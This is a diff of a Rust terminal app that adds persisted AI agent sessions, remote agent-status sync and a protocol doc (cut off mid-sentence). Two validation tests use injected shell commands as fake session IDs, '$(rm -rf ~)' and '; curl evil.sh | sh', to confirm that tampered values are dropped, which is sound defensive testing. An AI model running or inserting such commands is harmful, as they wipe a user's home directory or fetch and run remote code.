@@ -1162,6 +1188,8 @@ pub fn default_workspace() -> WorkspaceData {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1586,6 +1614,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1690,6 +1720,122 @@ mod tests {
         assert!(data.projects[0].service_terminals.is_empty());
     }
 
+    fn agent_session(session_id: &str) -> okena_core::agent_session::AgentSession {
+        okena_core::agent_session::AgentSession {
+            agent: "claude-code".to_string(),
+            session_id: session_id.to_string(),
+            transcript_path: None,
+        }
+    }
+
+    const UUID_A: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    const UUID_B: &str = "11111111-2222-3333-4444-555555555555";
+
+    /// A split with two panes, ids `tid0` / `tid1` at paths `[0]` / `[1]`.
+    fn split_project(id: &str) -> ProjectData {
+        use crate::state::SplitDirection;
+        let mut project = make_project(id);
+        project.layout = Some(LayoutNode::Split {
+            direction: SplitDirection::Horizontal,
+            sizes: vec![50.0, 50.0],
+            children: vec![
+                LayoutNode::Terminal {
+                    terminal_id: Some("tid0".to_string()),
+                    minimized: false,
+                    detached: false,
+                    shell_type: okena_terminal::shell_config::ShellType::Default,
+                    zoom_level: 1.0,
+                },
+                LayoutNode::Terminal {
+                    terminal_id: Some("tid1".to_string()),
+                    minimized: false,
+                    detached: false,
+                    shell_type: okena_terminal::shell_config::ShellType::Default,
+                    zoom_level: 1.0,
+                },
+            ],
+        });
+        project
+    }
+
+    #[test]
+    fn validate_rekeys_agent_sessions_onto_layout_paths() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_A));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        validate_workspace_data(&mut data, true, SessionBackend::None);
+
+        let project = &data.projects[0];
+        // The id the session was keyed by is gone, so it must have moved onto
+        // the pane's path — otherwise the restored pane can never resume it.
+        assert!(project.agent_sessions.is_empty());
+        assert_eq!(
+            project.pending_agent_resumes.get(&vec![1]),
+            Some(&agent_session(UUID_A))
+        );
+        assert_eq!(project.pending_agent_resumes.len(), 1);
+    }
+
+    #[test]
+    fn validate_keeps_agent_sessions_when_ids_survive() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_A));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        // A session backend keeps terminal ids, so the pane re-attaches to a
+        // live agent — nothing to re-key and nothing to resume.
+        validate_workspace_data(&mut data, false, SessionBackend::None);
+
+        let project = &data.projects[0];
+        assert_eq!(
+            project.agent_sessions.get("tid1"),
+            Some(&agent_session(UUID_A))
+        );
+        assert!(project.pending_agent_resumes.is_empty());
+    }
+
+    #[test]
+    fn validate_drops_orphaned_and_tampered_agent_sessions() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_B));
+        // A pane that no longer exists in the layout.
+        project
+            .agent_sessions
+            .insert("ghost".to_string(), agent_session(UUID_A));
+        // A hand-edited workspace.json smuggling a command in as a session id.
+        project
+            .agent_sessions
+            .insert("tid0".to_string(), agent_session("$(rm -rf ~)"));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        validate_workspace_data(&mut data, false, SessionBackend::None);
+
+        let project = &data.projects[0];
+        assert_eq!(project.agent_sessions.len(), 1);
+        assert!(project.agent_sessions.contains_key("tid1"));
+    }
+
+    #[test]
+    fn validate_does_not_queue_a_resume_for_a_tampered_session() {
+        let mut project = split_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session("; curl evil.sh | sh"));
+        let mut data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        validate_workspace_data(&mut data, true, SessionBackend::None);
+
+        assert!(data.projects[0].pending_agent_resumes.is_empty());
+        assert!(data.projects[0].agent_sessions.is_empty());
+    }
+
     #[test]
     fn validate_preserves_hook_terminal_ids() {
         use crate::state::{HookTerminalEntry, HookTerminalStatus, SplitDirection};
@@ -2192,6 +2338,52 @@ mod tests {
 
     // === Serialization ===
 
+    #[test]
+    fn agent_sessions_round_trip_and_tolerate_an_old_file() {
+        let mut project = make_project("p1");
+        project
+            .agent_sessions
+            .insert("tid1".to_string(), agent_session(UUID_A));
+        let data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        let json = serde_json::to_string(&data).expect("serialize");
+        let back: WorkspaceData = serde_json::from_str(&json).expect("deserialize");
+        assert_eq!(
+            back.projects[0].agent_sessions.get("tid1"),
+            Some(&agent_session(UUID_A)),
+            "a persisted session must survive the round trip — it is the whole point of storing it"
+        );
+
+        // A workspace.json written before the field existed must still load.
+        let value: serde_json::Value = serde_json::from_str(&json).expect("as value");
+        let mut value = value;
+        value["projects"][0]
+            .as_object_mut()
+            .expect("project object")
+            .remove("agent_sessions");
+        let old: WorkspaceData = serde_json::from_value(value).expect("old file still loads");
+        assert!(old.projects[0].agent_sessions.is_empty());
+    }
+
+    #[test]
+    fn pending_agent_resumes_never_reaches_the_file() {
+        // `Vec<usize>` is not a serializable JSON map key, so this field is only
+        // safe because of `#[serde(skip)]`. Weakening that to `skip_serializing`
+        // would make every workspace save fail — pin it.
+        let mut project = make_project("p1");
+        project
+            .pending_agent_resumes
+            .insert(vec![0, 1], agent_session(UUID_A));
+        let data = make_workspace(vec![project], vec!["p1"], vec![]);
+
+        let json = serde_json::to_string(&data).expect("save must not fail");
+        assert!(!json.contains("pending_agent_resumes"));
+        assert!(!json.contains(UUID_A));
+
+        let back: WorkspaceData = serde_json::from_str(&json).expect("deserialize");
+        assert!(back.projects[0].pending_agent_resumes.is_empty());
+    }
+
     #[test]
     fn default_workspace_round_trips() {
         let data = default_workspace();
diff --git a/crates/okena-workspace/src/remote_apply.rs b/crates/okena-workspace/src/remote_apply.rs
index 7844f70ea..098b54553 100644
--- a/crates/okena-workspace/src/remote_apply.rs
+++ b/crates/okena-workspace/src/remote_apply.rs
@@ -32,10 +32,16 @@ pub struct RemoteSnapshot {
 
 /// A terminal that should be focused after the sync, identified by the project
 /// it lives in and the layout path to reach it.
+///
+/// Carries the terminal id as well as the path so the caller can go through
+/// `focus_terminal_by_id` — a project created from a phone may be hidden or
+/// outside this window's folder filter, and focusing it by path alone would
+/// apply focus to a pane that renders nowhere.
 #[derive(Clone, Debug, PartialEq)]
 pub struct RemoteFocusTarget {
     pub project_id: String,
     pub layout_path: Vec<usize>,
+    pub terminal_id: String,
 }
 
 /// Result of applying a set of remote snapshots to the workspace data.
@@ -46,6 +52,39 @@ pub struct RemoteSyncOutcome {
     pub focus_targets: Vec<RemoteFocusTarget>,
 }
 
+/// The agent status each snapshot reports, keyed by the **client-side**
+/// (connection-prefixed) terminal id, so the caller can apply it straight to
+/// its terminal registry.
+///
+/// Every terminal in a snapshot's layout gets an entry — `None` when the daemon
+/// reports no status for it. That is what makes reconnects converge: a snapshot
+/// is the full truth, so a status the daemon has since cleared must be cleared
+/// on the client rather than left behind.
+///
+/// Separate from [`apply_remote_snapshot`] because agent status is runtime-only:
+/// it lives on `Terminal`, not in `WorkspaceData`. GPUI-free and unit-testable.
+pub fn snapshot_agent_statuses(
+    snapshots: &[RemoteSnapshot],
+) -> Vec<(String, Option<okena_core::agent_status::AgentStatus>)> {
+    let mut out = Vec::new();
+    for snap in snapshots {
+        let Some(state) = snap.state.as_ref() else {
+            continue;
+        };
+        let conn_id = &snap.config.id;
+        for api_project in &state.projects {
+            let Some(layout) = api_project.layout.as_ref() else {
+                continue;
+            };
+            for terminal_id in layout.collect_terminal_ids() {
+                let status = api_project.terminal_agent_status.get(&terminal_id).cloned();
+                out.push((format!("remote:{conn_id}:{terminal_id}"), status));
+            }
+        }
+    }
+    out
+}
+
 /// Apply remote connection snapshots to `data`, reconciling materialized remote
 /// projects, folders, and project order, while preserving local visual state and
 /// pruning stale remote entries.
@@ -254,6 +293,8 @@ pub fn apply_remote_snapshot(
                         is_remote: true,
                         connection_id: Some(conn_id_owned),
                         service_terminals: HashMap::new(),
+                        agent_sessions: HashMap::new(),
+                        pending_agent_resumes: HashMap::new(),
                         default_shell: api_project.default_shell.clone(),
                         hook_terminals: remote_hook_terminals,
                         pinned: api_project.pinned,
@@ -409,6 +450,7 @@ pub fn apply_remote_snapshot(
             outcome.focus_targets.push(RemoteFocusTarget {
                 project_id: pid.clone(),
                 layout_path: path,
+                terminal_id: new_tid.clone(),
             });
         }
     }
@@ -485,6 +527,7 @@ mod tests {
             show_in_overview: true,
             layout,
             terminal_names: HashMap::new(),
+            terminal_agent_status: HashMap::new(),
             git_status: None,
             folder_color: FolderColor::Default,
             services: Vec::new(),
@@ -1202,4 +1245,58 @@ mod tests {
                 .contains("remote:conn:p1")
         );
     }
+
+    // === snapshot_agent_statuses ===
+
+    fn working(custom: &str) -> okena_core::agent_status::AgentStatus {
+        okena_core::agent_status::AgentStatus {
+            lifecycle: okena_core::agent_status::AgentLifecycle::Working,
+            custom: Some(custom.to_string()),
+            labels: Default::default(),
+        }
+    }
+
+    #[test]
+    fn snapshot_agent_statuses_prefixes_ids_and_clears_the_rest() {
+        let mut project = api_project(
+            "p1",
+            Some(ApiLayoutNode::Split {
+                direction: okena_state::SplitDirection::Horizontal,
+                sizes: vec![50.0, 50.0],
+                children: vec![terminal("t1"), terminal("t2")],
+            }),
+        );
+        project
+            .terminal_agent_status
+            .insert("t1".to_string(), working("running tests"));
+        let snap = RemoteSnapshot {
+            config: config("c1"),
+            state: Some(state_with(
+                vec![project],
+                vec!["p1".to_string()],
+                Vec::new(),
+            )),
+        };
+
+        let statuses = snapshot_agent_statuses(&[snap]);
+
+        assert_eq!(
+            statuses,
+            vec![
+                ("remote:c1:t1".to_string(), Some(working("running tests"))),
+                // Reported for every pane in the layout, so a status the daemon
+                // has cleared gets cleared on the client instead of lingering.
+                ("remote:c1:t2".to_string(), None),
+            ]
+        );
+    }
+
+    #[test]
+    fn snapshot_agent_statuses_ignores_a_connection_with_no_state() {
+        let snap = RemoteSnapshot {
+            config: config("c1"),
+            state: None,
+        };
+        assert!(snapshot_agent_statuses(&[snap]).is_empty());
+    }
 }
diff --git a/crates/okena-workspace/src/settings.rs b/crates/okena-workspace/src/settings.rs
index 5b466ae5b..dabeb5646 100644
--- a/crates/okena-workspace/src/settings.rs
+++ b/crates/okena-workspace/src/settings.rs
@@ -286,6 +286,17 @@ pub struct AppSettings {
     /// Session backend for terminal persistence (tmux/screen/none/auto)
     #[serde(default)]
     pub session_backend: SessionBackend,
+    /// Automatically resume a pane's AI agent session (e.g. `claude --resume
+    /// <id>`) on restore, when one was captured before the restart. Opt-in
+    /// (default off). When off, the captured session is still persisted and
+    /// re-attached to the restored pane — just not auto-run.
+    ///
+    /// Applies when the pane comes back **without** its process, i.e. under
+    /// `session_backend = none`, where the daemon runs the resume as the pane's
+    /// startup command. With a session backend the pane re-attaches to a live
+    /// session whose agent is (still) running, so nothing is resumed.
+    #[serde(default)]
+    pub auto_resume_agent_sessions: bool,
 
     // File opener settings
     /// Editor command to open file paths (e.g. "code", "cursor", "zed", "subl", "vim")
@@ -423,6 +434,7 @@ impl Default for AppSettings {
             default_shell: ShellType::default(),
             show_shell_selector: false,
             session_backend: SessionBackend::default(),
+            auto_resume_agent_sessions: false,
             file_opener: default_file_opener(),
             hooks: HooksConfig::default(),
             diff_view_mode: DiffViewMode::default(),
diff --git a/crates/okena-workspace/src/state.rs b/crates/okena-workspace/src/state.rs
index 0ffbed6a0..3b6df3f35 100644
--- a/crates/okena-workspace/src/state.rs
+++ b/crates/okena-workspace/src/state.rs
@@ -320,6 +320,12 @@ struct ProjectRuntimeSlot {
     path: Vec<usize>,
     terminal_name: Option<String>,
     hidden: Option<bool>,
+    /// Carried for the same reason as the two above: the quiesce mints a new
+    /// terminal id for the pane, and every one of these maps is keyed by the old
+    /// one. Dropping it here would silently destroy the pane's agent identity on
+    /// a `session_backend` switch or a project-directory move — and leave a
+    /// dead-keyed entry behind.
+    agent_session: Option<okena_core::agent_session::AgentSession>,
 }
 
 /// Transient ownership metadata for a terminal awaiting its PTY exit event.
@@ -391,6 +397,7 @@ fn take_project_layout_runtime(
     backend_preference: SessionBackend,
     terminal_names: &mut HashMap<String, String>,
     hidden_terminals: &mut HashMap<String, bool>,
+    agent_sessions: &mut HashMap<String, okena_core::agent_session::AgentSession>,
     path: &mut Vec<usize>,
     slots: &mut Vec<ProjectRuntimeSlot>,
     teardown_sessions: &mut Vec<TerminalSessionTeardown>,
@@ -417,6 +424,7 @@ fn take_project_layout_runtime(
                 path: path.clone(),
                 terminal_name: terminal_names.remove(&terminal_id),
                 hidden: hidden_terminals.remove(&terminal_id),
+                agent_session: agent_sessions.remove(&terminal_id),
             });
         }
         LayoutNode::Split { children, .. } | LayoutNode::Tabs { children, .. } => {
@@ -429,6 +437,7 @@ fn take_project_layout_runtime(
                     backend_preference,
                     terminal_names,
                     hidden_terminals,
+                    agent_sessions,
                     path,
                     slots,
                     teardown_sessions,
@@ -581,6 +590,7 @@ impl Workspace {
                         backend_preference,
                         &mut project.terminal_names,
                         &mut project.hidden_terminals,
+                        &mut project.agent_sessions,
                         &mut Vec::new(),
                         &mut layout_slots,
                         &mut teardown_sessions,
@@ -603,6 +613,7 @@ impl Workspace {
                         project.hook_terminals.remove(terminal_id);
                         project.terminal_names.remove(terminal_id);
                         project.hidden_terminals.remove(terminal_id);
+                        project.agent_sessions.remove(terminal_id);
                     } else {
                         preserved_registry_terminal_ids.push(terminal_id.clone());
                     }
@@ -691,7 +702,10 @@ impl Workspace {
                     .insert(terminal_id.clone(), name.clone());
             }
             if let Some(hidden) = slot.hidden {
-                project.hidden_terminals.insert(terminal_id, hidden);
+                project.hidden_terminals.insert(terminal_id.clone(), hidden);
+            }
+            if let Some(session) = &slot.agent_session {
+                project.agent_sessions.insert(terminal_id, session.clone());
             }
         }
         if !self
@@ -726,6 +740,7 @@ impl Workspace {
                 backend_preference,
                 &mut project.terminal_names,
                 &mut project.hidden_terminals,
+                &mut project.agent_sessions,
                 &mut Vec::new(),
                 &mut discarded_slots,
                 &mut teardown_sessions,
@@ -797,6 +812,7 @@ impl Workspace {
             for terminal_id in &project_hook_ids {
                 project.terminal_names.remove(terminal_id);
                 project.hidden_terminals.remove(terminal_id);
+                project.agent_sessions.remove(terminal_id);
             }
             teardown_sessions.extend(
                 project_hook_ids
@@ -1602,6 +1618,74 @@ impl Workspace {
         }
     }
 
+    /// Persist the AI agent session captured for a terminal (agent-status OSC
+    /// `lbl=`). Called from the PTY event loop when
+    /// `Terminal::take_agent_session_dirty` fires. Idempotent — no save when
+    /// unchanged.
+    pub fn set_agent_session(
+        &mut self,
+        project_id: &str,
+        terminal_id: &str,
+        session: okena_core::agent_session::AgentSession,
+        cx: &mut impl WorkspaceCx,
+    ) {
+        if let Some(project) = self.project_mut(project_id)
+            && project.agent_sessions.get(terminal_id) != Some(&session)
+        {
+            project
+                .agent_sessions
+                .insert(terminal_id.to_string(), session);
+            self.notify_data(cx);
+        }
+    }
+
+    /// The persisted agent session for a terminal, if any. Read on restore to
+    /// decide whether to offer / auto-run a resume.
+    pub fn agent_session(
+        &self,
+        project_id: &str,
+        terminal_id: &str,
+    ) -> Option<okena_core::agent_session::AgentSession> {
+        self.project(project_id)
+            .and_then(|p| p.agent_sessions.get(terminal_id).cloned())
+    }
+
+    /// Drop the persisted agent session for a terminal that is permanently gone
+    /// (hard close, finalized soft close) or that lost its identity (shell
+    /// switch), so `workspace.json` doesn't accumulate orphans and a pane can't
+    /// inherit a stale session.
+    ///
+    /// Scans every project rather than taking a project id: callers reach this
+    /// from paths where the pane is already out of its layout (a finalized soft
+    /// close), and a terminal id maps to at most one session anyway. A
+    /// cross-project *move* must not use this — see the `move_ops` migration,
+    /// which carries the session with the terminal.
+    pub fn forget_agent_session(&mut self, terminal_id: &str, cx: &mut impl WorkspaceCx) {
+        let mut removed = false;
+        for project in &mut self.data.projects {
+            removed |= project.agent_sessions.remove(terminal_id).is_some();
+        }
+        if removed {
+            self.notify_data(cx);
+        }
+    }
+
+    /// Claim the agent session queued for the pane at `layout_path`, if any.
+    ///
+    /// Consuming is the point: the entry is placed by `validate_workspace_data`
+    /// when a restore drops every terminal id, and taking it makes the resume
+    /// exactly-once — a later respawn of the same pane (or a second caller
+    /// racing this one) must not resume the session again.
+    pub fn take_pending_agent_resume(
+        &mut self,
+        project_id: &str,
+        layout_path: &[usize],
+    ) -> Option<okena_core::agent_session::AgentSession> {
+        self.project_mut(project_id)?
+            .pending_agent_resumes
+            .remove(layout_path)
+    }
+
     pub fn register_hook_terminal(
         &mut self,
         project_id: &str,
@@ -1678,6 +1762,7 @@ impl Workspace {
                     }
                 }
                 project.terminal_names.remove(terminal_id);
+                project.agent_sessions.remove(terminal_id);
                 self.notify_data(cx);
                 return;
             }
@@ -1703,6 +1788,34 @@ impl Workspace {
         })
     }
 
+    /// The id of the project that owns `terminal_id`, by any route.
+    ///
+    /// Broader than [`find_project_for_terminal`](Self::find_project_for_terminal),
+    /// which searches layout trees only. A terminal can legitimately be absent
+    /// from every layout and still belong to a project: hook terminals live in
+    /// `hook_terminals`, service terminals in `service_terminals`, and a pane
+    /// inside a soft-close grace window is out of the tree while its PTY stays
+    /// alive. Callers that must not silently drop per-terminal state (persisting
+    /// an agent session, say) want this one.
+    pub fn find_project_id_owning_terminal(&self, terminal_id: &str) -> Option<String> {
+        if let Some(project) = self.find_project_for_terminal(terminal_id) {
+            return Some(project.id.clone());
+        }
+        if let Some(project) = self.data.projects.iter().find(|project| {
+            project.hook_terminals.contains_key(terminal_id)
+                || project
+                    .service_terminals
+                    .values()
+                    .any(|id| id == terminal_id)
+        }) {
+            return Some(project.id.clone());
+        }
+        self.pending_closes
+            .iter()
+            .find(|pending| pending.terminal_id == terminal_id)
+            .map(|pending| pending.project_id.clone())
+    }
+
     /// Get all hook terminal IDs for a project (for cleanup before deletion).
     pub fn hook_terminal_ids_for_project(&self, project_id: &str) -> Vec<String> {
         self.project(project_id)
@@ -1710,7 +1823,8 @@ impl Workspace {
             .unwrap_or_default()
     }
 
-    /// Swap a hook terminal's ID (for rerun). Updates hook_terminals, layout tree, and terminal_names.
+    /// Swap a hook terminal's ID (for rerun). Updates hook_terminals, layout
+    /// tree, terminal_names, and agent_sessions.
     /// Resets status back to Running.
     pub fn swap_hook_terminal_id(
         &mut self,
@@ -1736,6 +1850,12 @@ impl Workspace {
             project.terminal_names.insert(new_id.to_string(), name);
         }
 
+        // Keyed by terminal id like the map above, so a rerun would otherwise
+        // strand the session under the dead id.
+        if let Some(session) = project.agent_sessions.remove(old_id) {
+            project.agent_sessions.insert(new_id.to_string(), session);
+        }
+
         self.notify_data(cx);
     }
 
@@ -2069,8 +2189,18 @@ impl Workspace {
             .collect();
         self.lifecycle.retain_closing(&still_closing);
 
+        // Through the revealing primitive, not `set_focused_terminal`: the
+        // terminal was created from another client, and its project may be in
+        // this window's hidden set or outside its folder filter — in which case
+        // focusing by path alone lands on a pane that renders nowhere.
         for target in outcome.focus_targets {
-            self.set_focused_terminal(focus_manager, target.project_id, target.layout_path, cx);
+            self.focus_terminal_by_id(
+                focus_manager,
+                window_id,
+                &target.project_id,
+                &target.terminal_id,
+                cx,
+            );
         }
 
         // Notify UI without bumping data_version (remote changes shouldn't trigger auto-save)
@@ -2395,6 +2525,8 @@ mod workspace_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -3303,6 +3435,8 @@ mod gpui_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/visibility.rs b/crates/okena-workspace/src/visibility.rs
index 5d89392ca..28ef7769e 100644
--- a/crates/okena-workspace/src/visibility.rs
+++ b/crates/okena-workspace/src/visibility.rs
@@ -235,6 +235,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/docs/agent-status.md b/docs/agent-status.md
new file mode 100644
index 000000000..316494672
--- /dev/null
+++ b/docs/agent-status.md
@@ -0,0 +1,398 @@
+# Agent Status
+
+Okena can show what an AI coding agent is doing in each terminal pane: a per-tab
+indicator, a dedicated **Agents** section in the sidebar that lists every active
+agent across all projects, a matching field in the [remote API](remote.md), and a
+desktop notification when an agent finishes or gets blocked.
+
+Claude Code is supported out of the box via a [bundled plugin](#claude-code-integration).
+The protocol is agent-agnostic and the resume logic is per-harness, so adding
+another agent is additive — but today Claude Code is the only one that ships
+working glue. Codex has a registered harness that declines to resume, and no
+capture hooks yet.
+
+> **Unix only.** The hook script is `#!/bin/sh` and depends on `/dev/tty`,
+> `base64` and `sed`, and `$OKENA_TTY` is exported only on Unix. On Windows this
+> works inside WSL panes; native `cmd`/PowerShell panes cannot report agent
+> status, and the setup below is a silent no-op there.
+
+The model is **push-based and open**: the agent reports its own state by writing
+a small escape sequence to its terminal. Okena never scrapes the agent's output
+or reads its private files — an agent (or a thin hook) tells Okena directly. A
+small fixed set of lifecycle states drives color, sort order, and notifications;
+a free-form message and optional labels carry whatever the agent wants and are
+shown verbatim.
+
+## What you see
+
+- **Tab** — the pane's icon is recolored by lifecycle (blocked = red, working =
+  yellow, done = green, idle = muted). Hovering the tab shows the agent's
+  free-form status text.
+- **Sidebar → AGENTS** — a flat, cross-project list of every pane currently
+  reporting a status, sorted by attention (blocked → done → working → idle).
+  Each row shows the lifecycle dot, the terminal name, its project, and the
+  free-form text. Click a row to jump straight to that pane. The section hides
+  itself when no agent is active.
+
+  The list is deliberately cross-project, so a row can point at a project the
+  current window isn't showing (hidden set, folder filter). Clicking then zooms
+  to that project so the pane is actually reachable — the jump goes through the
+  same window-aware `focus_terminal_by_id` as sidebar clicks, cursor navigation,
+  notification jumps, and remote focus requests, which also keeps a jump made
+  from a fullscreened pane in fullscreen.
+
+  The pane border deliberately stays out of it. A status is sticky — nothing
+  but the next status clears it — so tinting the border turned a finished turn
+  into a permanent alarm around the pane, and doubled up on the tab indicator
+  for any pane that has a tab bar. A pane *not* in a tab group (a new project,
+  or any leaf of a plain split) therefore shows its agent only in AGENTS and in
+  the notification.
+- **Notification** — entering `blocked` or `done` raises a desktop notification
+  (+ sound), suppressed for the pane you're actively looking at. Gated by the
+  normal notification settings.
+
+  Raised by the client that **parsed the transition live**. A transition that
+  happens while a client is disconnected is not replayed to it when it
+  reconnects: the snapshot restores the *indicator*, but re-notifying on every
+  reconnect would spam, so it stays silent. Mobile clients get no notification
+  at all today.
+- **Remote** — `GET /v1/state` includes `terminal_agent_status` per project, and
+  a status change bumps `state_version` so subscribed clients re-fetch.
+
+Agent status is **runtime-only** — it is never written to `workspace.json` and
+does not survive a restart. (The *agent session* below is the part that is
+persisted.)
+
+### Stale status
+
+A status is removed only by an explicit `st=clear` or by the pane going away.
+Nothing ties it to the pane's process, so an agent that dies without sending
+`clear` — a crash, `kill -9`, an `exit` that skips its `SessionEnd` hook —
+leaves the tab tinted and the pane listed in AGENTS indefinitely. Closing the
+pane, or having an agent report again in it, clears it.
+
+## The data model
+
+| Field | Meaning |
+|-------|---------|
+| `lifecycle` | One of `working`, `blocked`, `done`, `idle`. Drives color / sort / notifications. |
+| `custom` | Optional free-form text, e.g. `"running tests 3/5"`. Shown in the tab tooltip and the AGENTS row, flattened to one line and clipped. |
+| `labels` | Optional flat `{ "key": "value" }` map of extras. Carried on the wire; no UI renders them yet. The three reserved session keys are stripped out before this map is built, so session identity never leaves the machine. |
+
+## The wire format (OSC 9001)
+
+An agent reports its state by writing this OSC sequence to its terminal:
+
+```
+ESC ] 9001 ; st=<state> [ ; tid=<terminal-id> ] [ ; msg=<base64> ] [ ; lbl=<base64-json> ] ST
+```
+
+- `ESC` is `\033` (0x1B); `ST` is the string terminator `ESC \` (`\033\\`). A
+  `BEL` (`\007`) terminator is also accepted.
+- `st=` — `working` | `blocked` | `done` | `idle`, or `clear` to remove any
+  status. An unknown/missing `st` leaves the current status untouched.
+- `tid=` — the pane the status is *for*, from `$OKENA_TERMINAL_ID`. A pane drops
+  a sequence addressed to a different id (see "Choosing the output device").
+  Optional: omit it and the receiving pane accepts the status.
+- `msg=` — base64(UTF-8) of the free-form `custom` text. Base64 keeps the value
+  `;`/`ST`-safe.
+- `lbl=` — base64(UTF-8) of a flat JSON object, e.g. `{"stage":"verify"}`.
+  Three keys are **reserved**: `agent` (harness id, e.g. `claude-code`),
+  `session_id`, and `transcript_path`. When `agent` + a UUID-shaped `session_id`
+  are present, Okena captures them into the pane's *agent session* — a sticky
+  record (it survives, and is captured on, `st=clear`) that is the basis for
+  resuming the session. All other keys are free-form.
+
+  The reserved keys are read from the raw label map and then **removed** from
+  it, so they never reach `labels` on the wire. They are also the only part of
+  an agent status that gets written to disk, so they are validated rather than
+  trusted: `session_id` must be a canonical UUID, `agent` must be ≤64 chars of
+  `[A-Za-z0-9._-]`, and `transcript_path` must be absolute and free of `..` and
+  ≤4096 bytes. Anything else is dropped — a bad `transcript_path` alone doesn't
+  discard the session, a bad `agent` or `session_id` does.
+
+Everything on this sequence is **untrusted**. Any process that can write to a
+pane — including a `cat` of a hostile file, or a remote host over SSH — can emit
+it. That is why the values are bounded and validated, why the resume argv must
+be shell-neutral, and why `tid=` exists.
+
+For example, to report "done" with a message, from inside the pane:
+
+```sh
+printf '\033]9001;st=done;msg=%s\033\\' "$(printf 'all tests passed' | base64 | tr -d '\n')" > /dev/tty
+```
+
+This is the same family of in-band signals Okena already understands
+(`OSC 9;4` progress, `OSC 133` shell integration); see the contract note in
+`crates/okena-terminal/CLAUDE.md`.
+
+### Choosing the output device
+
+Okena exports two variables naming the pane's own slave pty. Prefer the device
+named **inside `$OKENA_TTY_FILE`**, fall back to **`$OKENA_TTY`**, and only then
+to the controlling terminal:
+
+```sh
+if [ -n "${OKENA_TTY_FILE:-}" ] && [ -r "$OKENA_TTY_FILE" ]; then
+    live=$(head -n1 "$OKENA_TTY_FILE")
+    [ -n "$live" ] && (: >"$live") 2>/dev/null && dev="$live"
+fi
+if [ -z "${dev:-}" ] && [ -n "${OKENA_TTY:-}" ] && (: >"$OKENA_TTY") 2>/dev/null; then
+    dev="$OKENA_TTY"
+elif [ -z "${dev:-}" ] && (: >/dev/tty) 2>/dev/null; then
+    dev=/dev/tty
+fi
+```
+
+Both point at the same device; they differ in **when they were written**.
+
+- `$OKENA_TTY` holds the path itself, captured into the pane's environment when
+  the pane is first launched. A pane that outlives Okena — any session backend —
+  keeps the value forever, so after a restart it names a pty that is gone or,
+  because Linux recycles `/dev/pts/N` numbers, now belongs to a *different*
+  pane.
+- `$OKENA_TTY_FILE` holds a **path to a file** that Okena rewrites on every
+  spawn and reattach, keyed by the pane's terminal id (which does survive a
+  restart under a session backend). The path is stable, so capturing it once is
+  safe; the device it names is always current. This is what keeps a long-running
+  agent reporting across an Okena restart.
+
+`/dev/tty` is last because it is frequently the wrong device or no device at
+all. Under a session backend it names the **nested** pty: with `session_backend
+= tmux` the pane process is tmux, so a hook's controlling terminal is tmux's
+pty — and tmux forwards only a fixed allowlist of OSC numbers, which 9001 is not
+on, so the sequence dies before reaching Okena. Screen behaves the same way. And
+a harness that runs its hooks in a new session has no controlling terminal at
+all: **Claude Code does exactly that**, so for it `/dev/tty` never resolves.
+Writing to the pane's slave reaches Okena's own reader and bypasses any nested
+pty.
+
+> Keep every probe in a subshell. POSIX makes a redirection error on a special
+> built-in (`:`) exit the shell, so a bare `: >/dev/tty` aborts the script in
+> exactly the no-tty case the fallback is for.
+
+When both paths are stale — an agent still holding the environment of a pane
+Okena has since forgotten — a status can still land in the wrong pane. That is
+what `tid=` defends against: stamp `$OKENA_TERMINAL_ID` on the sequence and a
+pane that isn't the addressee drops it instead of showing another agent's
+status.
+
+> **These are capabilities, not just hints.** Unlike an inherited file
+> descriptor, a *path* can be reopened, and Linux recycles `/dev/pts/N` numbers.
+> A process that outlives its pane (a daemonized dev server, a forking
+> postinstall) keeps a way to write into whatever pane later inherits that
+> number — and writes to a slave arrive as terminal *output*, i.e. they are
+> parsed as escape sequences. It is same-user, so not a privilege boundary, but
+> `tid=` guards OSC 9001 only; nothing else on that channel is addressed. The
+> pointer file lives in Okena's owner-only runtime directory and is removed when
+> its pane is closed; a pointer left behind by a crash is swept at startup once
+> the device it names is gone.
+
+## Session resume
+
+The reserved `agent` + `session_id` (+ optional `transcript_path`) labels let
+Okena remember which AI session a pane is running and bring it back after a
+restart:
+
+- **Captured** in-band from `OSC 9001` `lbl=` (see above), validated as a UUID,
+  and kept on the pane as a *sticky* record that survives `st=clear`.
+- **Persisted** per terminal in `workspace.json` (`project.agent_sessions`), so
+  it outlives the process.
+- **Re-keyed** on load. Without a session backend a restore clears every
+  terminal id — exactly the keys the sessions are stored under. Before dropping
+  them, `validate_workspace_data` moves each surviving session onto its pane's
+  *layout path* (`project.pending_agent_resumes`, never persisted), which is the
+  pane identity that does survive that load.
+- **Resumed** by the daemon when the **`auto_resume_agent_sessions`** setting is
+  on (see [configuration](configuration.md#session-backend)): 
